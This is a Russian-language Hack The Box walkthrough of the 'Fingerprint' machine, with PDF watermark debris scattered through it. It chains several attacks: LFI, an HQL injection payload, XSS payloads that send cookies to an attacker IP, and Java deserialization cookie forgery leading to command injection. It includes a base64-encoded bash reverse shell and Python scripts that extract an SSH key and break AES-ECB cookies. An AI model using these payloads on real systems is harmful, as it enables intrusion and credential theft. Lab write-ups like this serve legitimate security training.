Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
21.29 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ

В этом

райтапе­

мы используем­

 

 

LFI

для получения­ исходного­ кода приложе­

ния­ ,

XSS — для получения­

фингер­ прин­

та­ поль ­

зователя­ , обойдем­

 

авториза­

цию­

через

HQL-инъекцию­

, заюзаем баг в приложе­

нии­

на Java и немного­

покодим на Python, чтобы­

получить приват­ ный­

ключ. В заключение­

разберем­

ошибку­ в шифровании­

и узнаем­

секрет­ !

 

 

 

 

 

 

 

 

 

 

 

 

RalfHacker hackerralf8@gmail.com

Все это — в рамках­ прохож­ ­дения «безумной­ » по сложности­ машины

Fingerprint с площад­ ­ки Hack The Box.

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.127 fingerprint.htb0

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ .

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Находим­ три открытых­ порта­ :

22 — служба­ OpenSSH 7.6p1;

80 — веб сервер­ Werkzeug httpd 1.0.1;

8080 — веб сервер­ GlassFish Open Source Edition 5.0.1.

Наша­ точка­ входа­ — это наверняка­ один из двух веб серверов­ . Но, изучив­ сайты­ , я ничего интерес­ ного­ не нашел. Давай тогда­ поищем скрытый­ контент­ .

Одно­ из первых­ действий­ при тестирова­ нии­ безопасности­ веб приложе­ ­ ния — это сканиро­ вание­ методом перебора­ каталогов­ , чтобы­ найти­ скрытую­ информацию­ и недоступные­ обычным­ посетителям­ функции­ . Для этого­ можно­ использовать­ программы­ вроде­ dirsearch и DIRB.

Я предпочитаю­ легкий­ и очень быстрый­ fuf. При запуске­ указыва­ ем­ сле ­ дующие параметры­ :

-w — словарь­ (я использую­ словари­ из набора SecLists);

-t — количество­ потоков;

-u — URL;

-fc — исключить­ из результата­ ответы­ с кодом 403.

Запус­ каем­ fuf:

ffuf -u http://fingerprint.htb/FUZZ -t 256 -w directory_2.3_medium_

lowercase.txt0

Резуль­ тат­ сканиро­ вания­ каталогов­ с помощью fuf

ffuf -u http://fingerprint.htb:8080/FUZZ -t 256 -w directory_2.3_

medium_lowercase.txt0

Резуль­ тат­ сканиро­ вания­ каталогов­ с помощью fuf

Появля­ ются­ новые интерес­ ные­ каталоги­ . Burp способен­ составлять­ карты­ сайта­ , чем мы и восполь­ зуем­ ся­ . В данном­ случае­ на постро­ енной­ карте­ обна ­ ружим конечные­ точки­ , которые мы бы долго­ искали­ при грубом­ сканиро­ ­ вании.

Карта­ сайта­ fngerprint.htb

Теперь­ важно­ найти­ место­ , откуда­ мы переходим­ к конечным­ точкам­ . История­ и поиск в Burp выводят нас на страницу­ /admin.

Burp History

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ

ТОЧКА ВХОДА

LFI

Через­ страницу­ /admin/view/ можно­ просматри­ ­вать файлы­ , поэтому­ про ­ верим, нет ли тут уязвимос­ ­ти чтения­ произволь­ ­ных файлов­ в системе­ . Для перебора­ файлов­ я буду использовать­ Burp Intruder.

Burp Intruder — вкладка­ Positions

И простая­ последова­ тель­ ность­ /../..//etc/passwd отобразит­ нам содер ­ жимое файла­ /etc/passwd! Это также­ позволит­ нам узнать домашний­ каталог пользовате­ ля­ flask. А это означает­ доступ­ к исходникам­ сервера­ !

Содер­ ­жимое файла­ /etc/passwd

Стоит­ попробовать­ получить содержимое­ некоторых­ стандар­ тных­ файлов­ . Так, app/__init__.py ничего не выводит, а app/app.py все же дает код при ­

ложения­ (путь /admin/view//../..//home/flask/app/app.py).

Исходный­ код app.py

Теперь­ у нас есть ключ приложе­ ния­ (строка­ 19), а также­ видим импорт фун ­ кции check из модуля auth (строка­ 8). Запросим­ этот файл:

/admin/view/../..//home/flask/app/auth.py0

Исходный­ код auth.py

В строке­ 13 раскры­ вает­ ся­ файл базы данных­ с учетными­ данными­ . А в стро ­ ке 16 с помощью функции­ build_safe_sql_where формиру­ ется­ запрос­ . Сама функция­ импортирует­ ся­ из модуля util. Получим следующие­ файлы­ :

/admin/view/../..//home/flask/app/users.db

/admin/view/../..//home/flask/app/util.py

Содер­ жимое­ файла­ users.db

Содер­ ­жимое файла­ util.py

Из файла­ базы получаем­ учетные­ данные­ admin:u_will_never_guess_this_password. Используя­ их, можем авторизо­ ­

ваться­ на сайте­ и получить доступ­ к логам.

Страница­ Logs

Больше­ здесь ничего добыть не можем.

HQL injection + XSS = fingerprint

Тогда­ попробу­ ­ем авторизо­ ­вать­ся с полученными­ учетными­ данными­ на дру гом сервисе­ . Конечно­ , там нас ждет неудача­ , но на странице­ логов размер­ файла­ увеличит­ ­ся.

Страница­ Logs

А в самом файле­ будет указан­ адрес, логин и цифровой­ отпечаток­ поль ­ зователя­ , который попытался­ авторизо­ вать­ ся­ .

Содер­ жимое­ файла­ auth.log

Так как логином и отпечат­ ком­ мы можем опериро­ вать­ при авториза­ ции­ , есть возможность­ получить XSS. Но к этому­ вернемся­ чуть позже­ . На сервере­ использует­ ся­ база данных­ , а это значит­ , что стоит­ попробовать­ обойти­ аутен ­ тификацию­ . На GitHub есть много­ словарей­ типа auth bypass, и первая­ же наг ­ рузка дает следующую­ ошибку­ .

Ошибка­ сервера­ при обходе­ авториза­ ции­ SQL

Получа­ ем­ ошибку­ JDBC, а это значит­ , что нужно­ выбрать­ нагрузки­ для HQL. Большая­ часть окажет­ ся­ заблокиро­ вана­ , но вот такая нагрузка­ дает резуль ­ тат:

x' OR SUBSTRING(username,1,1)='a' and ''='

Нам сообщают­ про неверный­ цифровой­ отпечаток­ (Invalid fingerprint ID).

Сообще­ ние­ о блокиров­ ке­ запроса­

Таким­ образом­ , нам нужно­ получить цифровой­ отпечаток­ админис­ тра­ тора­ , в чем нам может помочь уязвимость­ XSS. Снова­ попытаемся­ авторизо­ вать­ ся­ на втором­ сервисе­ , но вместо­ фингер­ прин­ та­ отправим­ нагрузку­ :

<script src="http://10.10.14.156:4321/evil.js"></script>

Она будет загружать­ с нашего сервера­ скрипт с кодом alert('test').

Запрос­ с нагрузкой­ XSS

Провер­ ка­ уязвимос­ ти­ XSS

Уязвимость­ присутс­ тву­ ет­ , значит­ продол­ жаем­ . Обычно­ фингер­ принт­ генери ­ руется­ кодом на JS из множес­ тва­ параметров­ вроде­ размера­ экрана­ , наз ­ вания и версии­ браузе­ ра­ и прочих­ признаков­ . Нам нужно­ найти­ этот код и записать в скрипт на нашем сервере­ . В Burp History можно­ увидеть­ загрузку­ скрипта­ login.js, он то нам и нужен.

Содер­ жимое­ login.js

Копиру­ ем­ содержимое­ скрипта­ и добавляем­ в конце­ код, который отправит­ сгенери­ рован­ ный­ фингер­ принт­ на наш сервер­ :

location.href="http://10.10.14.156:4321/?id="+getFingerPrintID();0

После­ повторно­ го­ запроса­ на авториза­ цию­ получим фингер­ принт­ на наш сервер­ .

Логи­ локального­ веб сервера­

Но и отправляя­ этот фингер­ ­принт, мы получаем­ ту же ошибку­ : Invalid fingerprint - ID.

Ответ­ сервера­

Дело­ в том, что HQL-нагрузка­ работает­ , если первый­ символ­ имени­ поль ­ зователя­ будет a. Но, видимо, мы получили­ фингер­ принт­ другого­ пользовате­ ­ ля. Тогда­ переберем­ первый­ символ­ имени­ пользовате­ ля­ с помощью Burp

Intruder.

Burp Intruder — вкладка­ Positions

Burp Intruder — вкладка­ Payloads

Burp Intruder — результат­ перебора­

Мы выяснили­ , что первый­ символ­ логина — m, к тому же мы получаем­ доступ­ на сайт.

Главная­ страница­ сайта­ для авторизо­ ван­ ного­ пользовате­ ля­

Кнопка­ для загрузки­ файла­ оказалась­ нерабочей­ . Тогда­ переключим­ вни ­ мание на идентифика­ тор­ сессии­ пользовате­ ля­ — Cookie. Судя по структуре­ , это токен JWT, причем­ в поле данных­ содержится­ также­ закодирован­ ная­ информация­ .

Запрос­ пользовате­ ля­ в Burp Repeater

Декоди­ ровав­ данные­ , получим какой то набор символов­ , в котором прог ­ лядываются­ строки­ . Скорее­ всего­ , на сайте­ использует­ ся­ сериали­ зация­ объ ­ ектов. К тому же мы видим что то похожее на логин и пароль.

Декоди­ рован­ ные­ данные­

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ

ТОЧКА ОПОРЫ Небезопасная десериализация

Повторим­ сканиро­ ­вание веб контента­ , только­ теперь будем искать файлы­ с расширени­ ­ем *.java.

ffuf -u 'http://fingerprint.htb:8080/backups/FUZZ.java' -t 256 -w

directory_2.3_medium.txt0

Сканиро­ вание­ файлов­ Java

Получа­ ем­ два файла­ . Скачива­ ем­ их для анализа­ .

Содер­ жимое­ файла­ Profle.java

Содер­ жимое­ файла­ User.java

Больше­ всего­ нас интересу­ ет­ файл User.java, так как он содержит­ объект­ , подлежащий­ сериали­ зации­ . Теперь нам нужно­ создать­ проект­ , куда мы поместим­ User.java, сохраняя­ все пути.

Структура­ проекта­

Идея заключа­ ется­ в том, чтобы­ взять сериали­ зован­ ный­ объект­ из куки, десериали­ зовать­ его в нашей программе­ , изменить­ имя пользовате­ ля­ на admin и сериали­ зовать­ снова­ . Это позволит­ нам подменить­ куки. В User. java оставим­ все переменные­ , но сделаем­ только­ один метод для изменения­ имени­ пользовате­ ля­ .

package com.admin.security.src.model;

import java.io.Serializable;

public class User implements Serializable {

private static final long serialVersionUID = -7780857363453462165L

;

protected int id;

protected String username;

protected String password;

protected String fingerprint;

public void setUsername(String username) {

this.username = username;

}

}

Теперь­ файл Main.java. Тут то мы и будем резвить­ ся­ c нашим объектом­ .

import com.admin.security.src.model.User;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.util.Base64;

public class Main {

public static void main(String[] args) {

try {

String cookie =

"rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIA

BEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZ

HEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAA

nQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMW

I0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQAC21pY2hlYWwxMjM

1"

;

byte[] serializedUserBytes = Base64.getDecoder().decode(

cookie);

ByteArrayInputStream serializedUserInputStream = new

ByteArrayInputStream(serializedUserBytes);

ObjectInputStream objectInputStream = new

ObjectInputStream(serializedUserInputStream);

User user = (User)objectInputStream.readObject();

user.setUsername("admin");

ByteArrayOutputStream serializedUserOutputStream = new

ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new

ObjectOutputStream(serializedUserOutputStream);

objectOutputStream.writeObject(user);

String serializedAdminUserBase64 = Base64.getEncoder().

encodeToString(serializedUserOutputStream.toByteArray());

System.out.println("New cookie: " +

serializedAdminUserBase64);

}

catch (Exception e) {

System.out.println(e);

}

}

}

Настра­ иваем­ конфигура­ цию­ запуска­ .

Конфигура­ цию­ запуска­

И после­ старта­ получаем­ новый сериали­ зован­ ный­ объект­ . Новый JWT нужно­ будет переподписать­ , благо­ секретный­ ключ у нас есть. Для создания­ JWT используем­ jwt.io.

Создание­ Cookie

Создание­ JWT

Вставив­ куки, мы получаем­ сессию­ админис­ ­тра­тора, но загрузка­ файлов­ до сих пор не работает­ .

Форма­ загрузки­ файлов­

Тогда­ будем дальше­ разбирать­ ­ся с исходными­ кодами. В обоих­ скачан­ ­ных файлах­ есть импорт класса­ UserProfileStorage. При этом метод

readObject вызывается­ в Profile.java.

Содер­ жимое­ файла­ Profle.java

Попробу­ ем­ загрузить­ такой файл, а затем откроем­ для анализа­ .

 

Содер­ жимое­

файла­ UserProfleStorage.java

 

 

 

 

 

 

 

 

 

Больше­ всего­ интерес­ ны­ строки­ 44–45, где

формиру­

ется­

команда­ ОС,

а потом и выполняет­

ся­ в терминале­

. Замыкает­

конвей­ ер­

команда­

grep,

к которой добавляет­

ся­ имя пользовате­

ля­ . Но это происхо­

дит­ , если провер­ ка­

isAdminProfile успешна. При этом имя пользовате­

ля­ использует­ ся­ как наз ­

вание файла­ логов. Давай попробу­

ем­ выполнить­

инъекцию­

команды­

ping,

для чего используем­

следующее­

имя пользовате­

ля­ :

 

 

 

 

 

 

 

user.setUsername("test$(ping -c 4 10.10.14.156)/../admin");

После­ генерации­ куки, создания­ и примене­ ния­ JWT получаем­ заветный­ пинг (прослушива­ ем­ с помощью tcpdump -i tun0 icmp).

Логи­ tcpdump

Так как уязвимость­ подтвер­ ­дилась, прокинем­ простой­ реверс шелл. Для это го нагрузку­ /bin/sh -i >& /dev/tcp/10.10.14.156/5432 0>&1 закодируем­

в Base64 и создадим­ конвей­ ­ер для ее запуска­ .

user.setUsername("test$(echo

L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTYvNTQzMiAwPiYxCg== |

base64 -d | bash)/../admin");

В окне листенера­ получаем­ бэкконнект­ .

Сессия­ пользовате­ ля­ www-data

Продолжение статьи0

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

w Click

 

BUY

o m

ВЗЛОМ

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

ПОДДЕЛЫВАЕМ ЦИФРОВОЙ ОТПЕЧАТОК ДЛЯ ДОСТУПА К ЗАКРЫТОМУ КОНТЕНТУ

ПРОДВИЖЕНИЕ

Теперь­ , когда­ мы получили­ доступ­ к хосту­ , нам необходимо­ собрать­ информацию­ . Источников­ много­ , я в таких случаях­ применяю­ скрипты­ PEASS.

Что делать после­ того, как мы получили­ доступ­ в систему­ от имени­ поль ­ зователя­ ? Вариантов­ дальнейшей­ эксплу­ ата­ ции­ и повышения­ привиле­ гий­ может быть очень много­ , как в Linux, так и в Windows. Чтобы­ собрать­ информацию­ и наметить цели, можно­ использовать­ Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов­ , которые проверя­ ют­ сис ­

тему на автомате­ .

После­ выполнения­ скрипта­ нужно­ выбрать­ самую важную­ информацию­ , в этот раз обратим­ внимание­ на то, что:

есть приложе­ ние­ cmatch с выставлен­ ным­ битом SUID;

в каталоге­ /var/backups/ есть бэкап приложе­ ния­ на Flask;

для локалхоста­ прослушива­ ется­ порт 8088.

Приложе­ ния­ с SUID-битом

Содер­ жимое­ каталога­ /var/backups

Прослушива­ емые­ порты­

Бэкап­ доступен­ только­ группе­ пользовате­ ля­ john, от имени­ которого­ и будет запускать­ ся­ приложе­ ние­ /usr/bin/cmath. Само приложе­ ние­ представ­ ляет­ собой исполняемый­ файл ELF.

Провер­ ка­ файла­ cmath

Скачива­ ем­ файл на локальный­ хост для анализа­ . Я буду использовать­ IDA Pro. Судя по декомпилиро­ ван­ ному­ коду, можно­ предположить­ , что приложе­ ­ ние написано­ на языке­ Go. При запуске­ сразу­ проверя­ ется­ количество­ аргу ­ ментов­ программы­ .

Сообще­ ние­ о недопустимом­ количестве­ аргумен­ тов­

Программа­ принима­ ет­ два аргумен­ та­ (строки­ 49–56): путь к файлу­ и строку­ . Затем открывает­ ся­ файл и произво­ дит­ ся­ посимволь­ ное­ чтение­ (строки­ 57– 88). В конце­ в считан­ ном­ файле­ ищется­ строка­ и выводится­ сообщение­ о количестве­ вхождений­ подстро­ ки­ .

Деком­ пилиро­ ван­ ный­ код программы­

Деком­ пилиро­ ван­ ный­ код программы­ (продол­ жение­ )

В качестве­ теста­ проверим­ , что мы все правиль­ но­ разобрали­ .

Тестовый­ запуск приложе­ ния­

Так как приложе­ ние­ работает­ от имени­ пользовате­ ля­ john, мы можем получить доступ­ к любому файлу­ этого­ пользовате­ ля­ , в том числе­ и секретно­ ­ му ключу­ . А благода­ ря­ возможнос­ ти­ узнать число­ вхождений­ подстро­ ки­ в файл мы можем получить весь файл посимволь­ но­ ! Суть в том, что, зная начало файла­ , мы сможем­ добавлять­ на каждом­ шаге по символу­ и переби ­ рать его до тех пор, пока не будет ответа­ Found matches: 1. После­ этого­ переходить­ к подбору­ следующе­ го­ символа­ .

Начало­ секретно­ го­ ключа­ пользовате­ ля­

Для посимволь­ ­ного подбора­ я написал следующий­ скрипт. Он позволил­ получить весь секретный­ ключ.

import os

alf = [' ','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l'

, 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',

'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', '

M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',

'=', '/', '-', ':', ',', '1', '2', '3', '4', '5', '6', '7', '8', '9',

'0', '\+', '\r', '\n', '\t']

cur_file = '-----BEGIN'

end_file = '-----END'

ind = 0

while(end_file not in cur_file):

for c in alf:

s = cur_file + c

count = os.popen(f'/usr/bin/cmatch /home/john/.ssh/id_rsa "{s}

"').read()[15:]

if(int(count) == 1):

cur_file += c

print(cur_file)

break

Часть секретно­ го­ ключа­ пользовате­ ля­

Но авторизо­ ­вать­ся мы все равно­ не можем, так как ключ зашифрован­ и тре ­ буется­ дополнитель­ ­ный пароль. В поисках­ пароля я решил пересмотреть­ исходные коды приложе­ ­ния. Так, при поиске­ подстро­ ­ки passw получаем­ три файла­ .

Файлы­ , содержащие­ подстро­ ку­ passw

Скачива­ ем­ первые­ два, открываем­ в декомпилято­ ре­ и во втором­ находим пароль гибернации­ .

Содер­ жимое­ файла­ HibernateUtil.class

С помощью этого­ пароля получилось­ расшифро­ вать­ секретный­ ключ поль ­ зователя­ . Так мы забираем­ флаг пользовате­ ля­ и получаем­ стабиль­ ный­ доступ­ по SSH.

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь­ мы можем получить доступ­ к бэкапу приложе­ ­ния на Flask. Скачива­ ­ем на локальный­ хост, распаковы­ ­ваем и читаем­ файл improvement.

Содер­ жимое­ файла­ improvement

В файле­ упомина­ ется­ кастомное­ шифрование­ , используемое­ для контро­ ля­ аутентифика­ ции­ . А если туннелиро­ вать­ весь трафик­ с локального­ пор ­ та 8088 на локальный­ порт 8088 удален­ ного­ хоста­ , то можно­ заметить, что на нем работает­ уже знакомое­ нам приложе­ ние­ .

ssh -L 8088:127.0.0.1:8088 -i id_rsa.john john@fingerprint.htb0

Также­ просмотрим­ и исходные коды из бэкапа. Уязвимость­ произволь­ ­ного чтения­ файлов­ так и осталась­ в функции­ logs_view(), но теперь читать фай ­ лы может только­ админис­ ­тра­тор.

Исходный­ код функции­ logs_view

В функции­ profile_update() раскрыт­ способ­ формирова­ ния­ куки: [

имя_пользователя],[секрет],[true или false].

Исходный­ код функции­ profle_update

Куки­ шифруют­ ся­ с помощью AES ECB с размером­ блока­ 16 байт.

Блок шифрования­

Но также­ сохранилась­ и уязвимость­ XSS, поэтому­ уже рассмот­ ренным­ выше способом­ , но другой­ нагрузкой­ мы можем получить куки.

<script>document.location="http://10.10.14.156:4321/?q="+document.

cookie</script>

Логи­ веб сервера­

Подстав­ ляем­ куки и попадаем­ на главную­ страницу­ сайта­ .

Главная­ страница­ приложе­ ния­

На сервере­ использует­ ­ся блочное­ шифрование­ , а функция­ profile_update( ) дает нам возможность­ изменить­ имя пользовате­ ­ля через параметр new_name. То есть мы можем изменять­ длину­ шифруемо­ ­го сообщения­ . Таким образом­ на каждом­ последу­ ­ющем шаге мы можем перебирать­ следующий­ символ­ , заодно­ увеличи­ ­вая сообщение­ . Как только­ сообщение­ без добав ­ ленного­ символа­ и сообщение­ с добавленным­ символом­ совпали­ , мы нашли­ нужный­ нам символ­ . Новый куки возвра­ ­щает­ся в заголовке­ Set-Cookie.

Запрос­ и ответ в Burp Repeater

Наброса­ ем­ простень­ кий­ код, который реализует­ все описан­ ное­ .

import requests

import string

john_cookie = {"user_id":

"49f5f0062780bed62dc06bf4a8d2dd9cb5c3fda50e19a5a840262c26c001bb033855

0635d9fd36fef81113d9fbd15805193308e099ee214406b0a87c0b6587fb"

}

secret = ""

size = 1

while True:

for i in range(15, -1, -1):

username = "A" * (16+i)

prime_cookie = requests.post('http://127.0.0.1:8088/

profile', data={"new_name": username}, cookies=john_cookie,

allow_redirects=False).cookies.get('user_id')

for c in string.printable[:-5]:

test_username = "A" * (16+i) + secret + c

new_cookie = requests.post('http://127.0.0.1:

8088/profile', data={"new_name": test_username}, cookies=john_cookie,

allow_redirects=False).cookies.get('user_id')

if new_cookie[32*size : 32*(size+1)] ==

prime_cookie[32*size : 32*(size+1)]:

secret += c

break

print(secret)

if ",false" in secret:

exit()

size += 1

Получе­ ние­ секрета­

Так мы смогли­ расшифро­ вать­ куки и получить секрет­ . Перед кодировани­ ем­ стоит­ обратить­ внимание­ на функцию­ load_user(), в которой выполняет­ ся­ провер­ ка­ .

Исходный­ код функции­ load_user

Сообще­ ние­ разделя­ ется­ по последова­ тель­ нос­ тям­ из запятой, секрета­ и еще одной запятой. Первый­ элемент­ получившегося­ массива­ сравнива­ ется­

с true. Тогда­ нам в качестве­ имени­ пользовате­ ля­ нужно­ передать последова­ ­

тельность­ имя,секрет,true,секрет.

Получе­ ние­ новой сессии­

У нас есть новые куки, попробу­ ем­ для теста­ прочитать­ файл /etc/passwd.

Содер­ жимое­ файла­ /etc/passwd

Так как приложе­ ние­ работает­ от имени­ рута, прочита­ ем­ закрытый­ ключ поль ­ зователя­ .

Закрытый­ ключ пользовате­ ля­

Подклю­ чаем­ ся­ по SSH и забираем­ флаг рута.

Флаг рута

Машина­ захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 
